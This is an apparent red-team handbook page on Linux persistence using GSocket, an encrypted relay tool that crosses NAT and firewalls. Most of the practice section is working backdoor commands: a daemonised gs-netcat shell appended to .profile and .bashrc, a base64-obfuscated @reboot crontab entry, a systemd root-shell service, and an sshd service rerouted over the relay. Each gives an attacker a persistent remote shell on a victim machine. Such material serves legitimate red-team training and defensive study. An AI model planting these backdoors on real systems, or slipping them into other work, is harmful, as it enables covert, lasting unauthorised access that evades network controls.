Infiltr8: The Red-Book
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        • Delegatecall Attack
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        • Tx Origin Attack
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  1. Red-Teaming
  2. Persistence
  3. Linux

GSocket for Persistence

MITRE ATT&CK™ Persistence - Tactic TA0003

Last updated 2 months ago

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Theory

is a networking utility designed to facilitate secure and transparent TCP connections between hosts, even when they are behind Network Address Translation (NAT) devices or firewalls. It achieves this by leveraging the Global Socket Relay Network (GSRN), enabling seamless and encrypted communication without requiring direct IP address visibility.

Key Features:

  • Firewall and NAT Traversal: GSocket allows connections between hosts without modifying firewall settings, making it ideal for environments with strict network controls.

  • End-to-End Encryption: Utilizing OpenSSL's Secure Remote Password (SRP) protocol, GSocket ensures that all data transmitted between hosts is securely encrypted. GSRN acts as an intermediary, forwarding encrypted traffic between endpoints.

  • No Fixed IPs: Instead of a known destination address, each peer connects to GSRN and advertises itself using a cryptographic identifier derived from the shared password. Two machines using the same password can automatically find each other via GSRN, even if their IP addresses change.

These features make GSocket a powerful tool for establishing resilient persistence on compromised endpoints.

Practice

You can directly generate secrets using the gsocket -g command

We may creates a persistence script that launches GSocket and provides a bind shell. The script can be placed in user profile scripts (.bashrc, .profile) or cron jobs for execution at login or system boot.

On the target machine, we can use following commands:

# Simple Persistence Command for reverse shell over GSRN
# gs-netcat
# -s: Secret (password)
# -l: listening mode
# -q: Quiet mode
# -D: Deamon & Watchdog mode
killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)

# We can append this command to user profile scripts
echo 'killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)' >> /home/targetUser/.profile
echo 'killall -0 gs-netcat 2>/dev/null || (GSOCKET_ARGS="-s ExampleSecretChangeMe -liqD" SHELL=/bin/bash exec -a -bash gs-netcat)' >> /home/targetUser/.bashrc

# Alternatively base64 this payload and insert it into crontab
(crontab -l 2>/dev/null; echo "@reboot bash -c 'eval \$(echo a2lsbGFsbCAtMCBncy1uZXRjYXQgMi4vZGV2L251bGwgfHwgKEdTT0NLRVRfQVJHUz0iLXMgRXhhbXBsZVNlY3JldENoYW5nZU1lIC1saXFEIiBTSEVM... | base64 -d)'" ) | crontab -

We can now connect to the shell from our attacking box as follows:

# -s: Secret (password)
# -i: Interactive shell
# -T: Connect via TOR
gs-netcat -s ExampleSecretChangeMe -i

We may use GSocket as a systemd service, ensuring it automatically starts upon reboot, and provide us a persistent backdoor access.

On the victime, create /etc/systemd/system/gs-root-shell.service:

-k: is too read the secret from file.

Replave with -s "MyPassword" to directly provide the secret.

[Unit]
Description=Global Socket Root Shell
After=network.target

[Service]
Type=simple
Restart=always
RestartSec=10
WorkingDirectory=/root
ExecStart=gs-netcat -k /etc/systemd/gs-root-shell-key.txt -il

[Install]
WantedBy=multi-user.target

On the target we can now start and enable the service

# Start service
systemctl start gs-root-shell

# Enable it
systemctl enable gs-root-shell

We can now connect to the target from our attacking machine as follows:

gs-netcat -s ExampleSecretChangeMe -i

We can utilize GSocket along with SSHd to seamlessly route SSH traffic through the Global Socket Relay Network, and gain persistent access.

Simple POC, that you may addapt:

# On target
gsocket -s ExampleSecretChangeMe /usr/sbin/sshd -D

# On attacking box
gsocket -s ExampleSecretChangeMe ssh user@target.com

Let's create a new SSHd service that will this time run over GSRN. On victime:

# Copy SSHd Service File (as root)
cp /etc/systemd/system/sshd.service /etc/systemd/system/gs-sshd.service
chmod 600 /etc/systemd/system/gs-sshd.service

# Edit the ExecStart option
sed -i 's|ExecStart=/usr/sbin/sshd -D $SSHD_OPTS|ExecStart=gs -s ExampleSecretChangeMe /usr/sbin/sshd -D $SSHD_OPTS|' /etc/systemd/system/gs-sshd.service

# Enable service
systemctl start gs-sshd
systemctl enable gs-sshd

We can now access our SSH server as follows from our attacking machine

gsocket -s ExampleSecretChangeMe ssh user@target.com

Resources

GSocket
GitHub - hackerschoice/gsocket: Connect like there is no firewall. Securely.GitHub
Global SocketGlobal Socket
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